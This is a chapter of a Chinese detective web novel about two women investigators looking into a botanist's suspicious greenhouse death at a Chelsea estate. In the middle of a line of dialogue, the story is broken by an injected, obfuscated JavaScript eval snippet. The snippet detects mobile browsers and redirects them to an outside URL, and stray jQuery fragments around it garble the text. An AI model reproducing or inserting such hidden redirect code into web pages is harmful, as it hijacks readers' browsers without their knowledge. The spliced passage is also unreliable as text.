83.11.1

作品:《里斯克小姐的奇妙故事

    好像一下子所有的事情都慢下来了。


    至少,整个伦敦的犯罪事件都变少了很多。还有各种小偷小摸,小打小闹的事件,竟然也变少了。


    最直观的就是,在一段时间内,简和我没有接到相关的案子了。


    ……


    又是一年的圣诞。


    我,简,梅尔,老滴答,还有麻雀一起度过了一个珍贵的圣诞。


    窗外的大雪落下,圣诞树的饰灯闪烁,丰富的节日晚餐,珍贵的朋友们。


    那可能是我一生最重要的时刻之一了。


    圣诞后第二天,我和简一起去屋外扫雪。


    “昨天的雪真大啊,也不知道这些植物能不能安稳度过这个冬天。”我看着庭院中用薄膜包裹的花草,感叹道。


    “放宽心,肯定可以的。”简认真地扫着雪,听到我的话,她停下动作说。


    “嗯。”我应道。


    扫雪的工作并不轻松,等我们干得差不多的时候都已经十一点左右了。索性直接去事务所找老滴答。


    毕竟我们的早餐与中餐一贯都是在老滴答那里解决的。


    ……


    “啊,小姐们!我还要去找你们呢!”老滴答看到我们明显松了口气。


    “这是今天早上送来的信件。”老滴答把手里的信递给了简。


    我瞟了一眼,是来自切尔西的。


    信的内容如下。


    侦探本小姐和里斯克小姐亲启:


    很抱歉在这样一个节日氛围里递上这样一副信件。


    我的名字埃莉诺·霍普金斯(Eleanor Hopkins)。


    我本人并无什么出彩之地,父母早早离去,留下了足够的遗产。但这不是重点。


    我一直与我的叔叔阿瑟·霍普金斯先生一道生活。


    我想你们听过他?他是一位颇有名望的植物学家。


    他过于痴迷于植物了,以至于在温室遭遇了不幸。警方调查说是意外,但是,我始终觉得不对。我知道的,他死于谋杀。


    哦…我说不出什么理由,可能是出于女性的第六感?侦探小姐们,没有人信我。我简直是要被逼疯了。


    我想,同为女性,你们应该能够理解我的那种感觉吧?所以我来寻找你们的帮助。


    哦…我当然不是为了我叔叔的遗产,即使周围所有人都这么说,但是,小姐们,我犯不着。我父母留下的遗产已经足够了。


    我想,我大概是为了求一个心安。那毕竟是我的叔叔。


    如果你们愿意来调查,我感激不尽。


    地点是切尔西84号霍普金斯府。


    “霍普金斯,这个姓氏我确实在最近的报纸上看到过。”看完信件,我思索道。


    读者们,日常观看各种各样的报纸还是有点帮助的。


    我成功在最近的报纸上边角找到了报道。


    植物学家兼富豪阿瑟·霍普金斯先生于12月22日在打理心爱的秋海棠时,被工具绊倒,额头撞击花盆,不幸身亡。


    然后就是关于这位先生的成就与生平,还有他的遗产分配。


    阿瑟爵士留下了一份复杂的遗嘱。


    他将庞大的财产(包括豪宅、巨额现金和珍贵的植物杂交手稿)留给了他长期的私人助手迈克尔·洛特先生。


    将自己一生最伟大的作品,一株独一无二、以他已故妻子名字命名的红色重瓣秋海棠新品种留给了侄女埃莉诺。


    将一座乡间小屋和一小笔年金留给一位戏剧演员克拉拉·贝尔小姐。


    负责处理爵士的法律和财务事务的家庭律师劳伦斯·特里梅因先生获得了一份不菲的报酬。


    还有其他零零碎碎的东西,留给了在家中工作多年的老管家弗洛拉·彭哈利根女士。


    而他的外甥塞巴斯蒂安·霍普金斯先生则是分毫未有。


    “很有意思,不是吗?无论怎么看,这位先生的离世似乎都是不幸的意外。”简看着手里的报道说。


    “我想去看看。”我说。


    即使埃莉诺·霍普金斯小姐的说法多么难以置信,我还是想去看看。


    女性的第六感?作为一名女性,我知道这并不是没有依据。可能是埃莉诺小姐已经察觉到了什么都对,却无法完全想明白,她的大脑给她的警示。


    “当然可以,弗瑞。”简笑着说。


    于是,我们就这么在圣诞节的第二天踏上了前往切尔西的路程。


    我们抵达霍普金斯庄园时,天色昏黄,但冬日的阳光依然稀薄地洒在覆雪的花园上。


    铁艺大门高大而精致,门后的车道两旁,即便是深冬,也有精心打理过的痕迹。


    常绿的灌木被修剪得整齐,而几个玻璃温室在远处隐约可见。


    庄园主体是一栋宏伟的乔治亚风格建筑,红砖墙面在雪中显得格外庄重。


    最令人惊叹的是,即便在这样寒冷的季节,花园中依然盛开着不少花卉,娇艳的山茶、傲寒的冬青,还有几株我不太确定的、覆着薄雪却依然绽放的花,显然是阿瑟爵士生前精心培育的品种。


    一切都显示着这个家族的财富与品味。


    我们刚走上台阶,还未敲门,就听见一旁侧廊传来踉跄的脚步声。


    一个男人摇摇晃晃地走出来,手里还拎着一个半空的酒瓶。


    他穿着考究但衬衫领口松散,眼神浑浊,满脸不耐烦。


    “你们又是谁?”他粗声粗气地问,目光在我们之间来回扫视,充满戒备与不屑。


    “记者?还是又来瞧热闹的?”


    简冷静地看了他一眼,“我们是应埃莉诺·霍普金斯小姐的邀请前来。”


    他嗤笑一声,灌了一口酒。


    “哦,又是她那点直觉。”他语气讽刺,“她是不是又觉得有人害死了我亲爱的叔叔?真是疯了,彻头彻尾的疯话。”


    我注意到他称阿瑟爵士为“叔叔”,便猜到他就是那位一分未得的外甥,塞巴斯蒂安·霍普金斯。


    简不为所动,只淡淡反问:“那么,你又为什么如此在意她的‘疯话’呢,先生?”


    塞巴斯蒂安一时语塞,脸上闪过慌乱,随即又被恼怒取代。“你什么意思?!!”


    “我们还没说明自己的身份,你就已经断定我们是为此事而来,”简漫不经心地说,“看来你对埃莉诺小姐的动向很是了解。”


    塞巴斯蒂安的表情僵了僵。


    他举起酒瓶又猛灌了几口,手指有些发抖。


    “少胡说八道,”他嘟囔着,“你们到底是干什么的?”


    “侦探。”简简短地回答。


    他顿时噎住了,像是被酒呛到,连咳了几声。他不再看我们,嘟囔着一些听不清的话,转身踉跄着走远了。


    我们对视一眼,没有多说,上前敲响了门。


    不一会儿,一位年纪稍长的女士来开门。


    她衣着整洁,神态沉稳,想必就是那位老管家弗洛拉·彭哈利根。


    我们说明来意后,她礼貌地将我们引至客厅。


    埃莉诺·霍普金斯小姐很快出现。


    她是一位年轻瘦弱的女士,穿着深色衣裙,脸色苍白,眼底带着疲惫,但眼神坚定。她看到我们,明显松了一口气。


    “非常感谢你们能来,”她轻声道,“我真的……不知道还能找


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16365448|177843||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    谁相信我的话。”


    我们简单交谈了几句,她再次说了对叔叔离世的怀疑,尽管她也说不出了所以然,只是反复低声说:“我知道一定不对。”


    之后,她转向受着一旁的管家,“彭哈利根女士,能否请您为两位小姐准备房间?她们可能会需要住上一两日。”


    彭哈利根管家点头应下,神态恭谨却难掩忧虑。她目光在我们身上停留,仿佛想说什么,但最终只是默默转身安排去了。


    埃莉诺小姐轻轻叹了口气,望向窗外覆雪的花园。


    “希望你们能找到答案,”她低声说,“无论那是什么。”


    我们稍作休整后,便在埃莉诺小姐的引领下,前往阿瑟爵士出事的温室。


    温室位于宅邸一侧,由一条清扫过积雪的碎石小径相连。


    巨大的玻璃结构在冬日阳光下闪着冷光,即便在室外,也能隐约感受到里面与季节不符的生机。


    推门而入,一股暖湿气息扑面而来。


    温室内部比从外面看更为宽敞,有序地摆放着各种植物,许多正奇异地在冬季盛放,营造出一种与外面冬日的肃杀截然不同的、近乎虚幻的生机。


    “叔叔大部分时间都待在这里,”埃莉诺小姐的声音在静谧中显得有些轻飘,带着哀伤,“他尤其痴迷于秋海棠…事故就发生在那片区域。”她指向温室较深的一处。


    我们跟随她穿过郁郁葱葱的植物走廊。


    越往里走,温度似乎越高,空气也愈发潮湿。最终,我们在一小片较为开阔的区域停下。


    这里摆放着许多形态各异的秋海棠,盆器精致,显然被精心照料。


    中央的地面上还隐约能看到一些清理后残留的痕迹,不太明显,但与其他地方的整洁相比,还是有着差异。


    “警方说,他是在打理那株‘维拉’,就是以我婶婶名字命名的秋海棠时,被放在地上的小铲或花锄绊倒了,头部撞在了那个陶制花盆的边缘。”


    埃莉诺指着一株单独放置、开着重瓣红花的美丽秋海棠,以及它旁边一个看起来相当沉重的陶盆。


    那株秋海棠的确与众不同,色泽深邃,花瓣繁复,带着一种哀艳虚幻的美。


    我仔细观察着四周。


    这里相对偏僻,被高大的植物半包围着,但一侧的玻璃墙外,可见一条清扫出的小径通向主宅,并有一扇落地窗,想必是方便阿瑟爵士直接从宅内进入温室。


    埃莉诺小姐还在低声叙述着发现叔叔时的情形,语气压抑着痛苦。


    而简,似乎并未完全专注于埃莉诺的叙述。她的目光锐利地扫视着周围,尤其是地面和植物枝叶之间。


    忽然,她的视线定格在温室最内侧的玻璃墙外。


    她不动声色地轻轻碰了下我的手臂,用眼神示意我看向外面。


    透过澄澈的玻璃,可以看到温室外的地面上仍有未完全清扫的积雪。


    紧贴着玻璃墙的地方,种着一排茂密的冬青树丛,枝叶四季常青,在雪地中格外醒目。


    而就在其中一株冬青较低矮的、带有尖刺的树枝上,勾着一小片布料。


    那布料颜色很深,近乎墨绿或黑色,与冬青的深绿叶片几乎融为一体。


    它不大,几乎是紧贴着树叶。


    最近一直在下雪,有些白色的雪覆盖在上面,幸好已经融化了,能够让人看见它。


    简与我对视,我们都从对方眼中看到了同样的想法。


    这片布料出现的位置有些微妙。


    它不在常走的路径旁,而是紧贴着温室玻璃外墙,一个通常不会有人靠近的地方。


    是什么时候、怎么勾上去的?